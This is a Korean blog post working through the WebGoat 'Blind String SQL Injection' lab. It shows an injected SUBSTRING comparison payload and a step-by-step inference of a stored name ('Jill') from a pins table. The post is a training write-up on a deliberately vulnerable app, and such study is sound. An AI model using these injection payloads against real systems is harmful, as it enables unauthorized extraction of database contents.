Without a Break

[WebGoat] Blind String SQL Injection 본문

Web/Wargame

[WebGoat] Blind String SQL Injection

와븨 2024. 8. 25. 17:31

문제

cc_number가 4321432143214321인 행에 대한 pins 테이블에서 필드 이름 값을 찾는 문제

 


SELECT * FROM user_data WHERE userid = [입력값]

현재 SQL문은 위와 같다.

 

 

101 and (SUBSTRING(SELECT name from pins where cc_number='4321432143214321'),[pin의 몇번째 문자열을 비교할건지],1) > '[문자]')

 

위의 SQL문을 삽입하여 name의 첫번째 자리부터 유추하면 name 값을 얻을 수 있다.

 

 

1) 첫번째 자리

101 and (SUBSTRING(SELECT name from pins where cc_number=4321432143214321),1,1) > 'I')

valid => name의 첫번째 자리는 I 보다 크다

 

 

101 and (SUBSTRING(SELECT name from pins where cc_number=4321432143214321),1,1) > 'J')

invalid => name의 첫번째 자리는 J보다 크지 않다.

 

I보다 크고, J보다 크지 않으니, 첫번째 자리는 J이다.

 

 

2) 두번째 자리

2,1) > 'h' => valid

2,1) > 'i' => invalid

두 번째 자리는 i이다.

 

3) 세번째 자리

3,1) > 'k' => valid

3,1) > 'l' => invalid

세번째 자리는 l이다.

 

4) 네번째 자리

4,1) > 'k' => valid

4,1) > 'l' => invalid

네번째 자리는 l이다.

 

5) 다섯번째 자리

5,1) > 'A' => invalid

다섯번째 자리는 존재하지 않는다.

즉, name은 4자리

 

 

따라서 name은 'Jill'이다.

'Web > Wargame' 카테고리의 다른 글

[WebGoat] Spoof an Authentication Cookie  (0) 2024.08.26
[WebGoat] Command Injection  (0) 2024.08.26
[WebGoat] Blind Numeric SQL Injection  (0) 2024.08.25
[WebGoat] Stage 3: Numeric SQL Injection  (0) 2024.08.25
[Webgoat] Stage 1: String SQL Injection  (0) 2024.08.25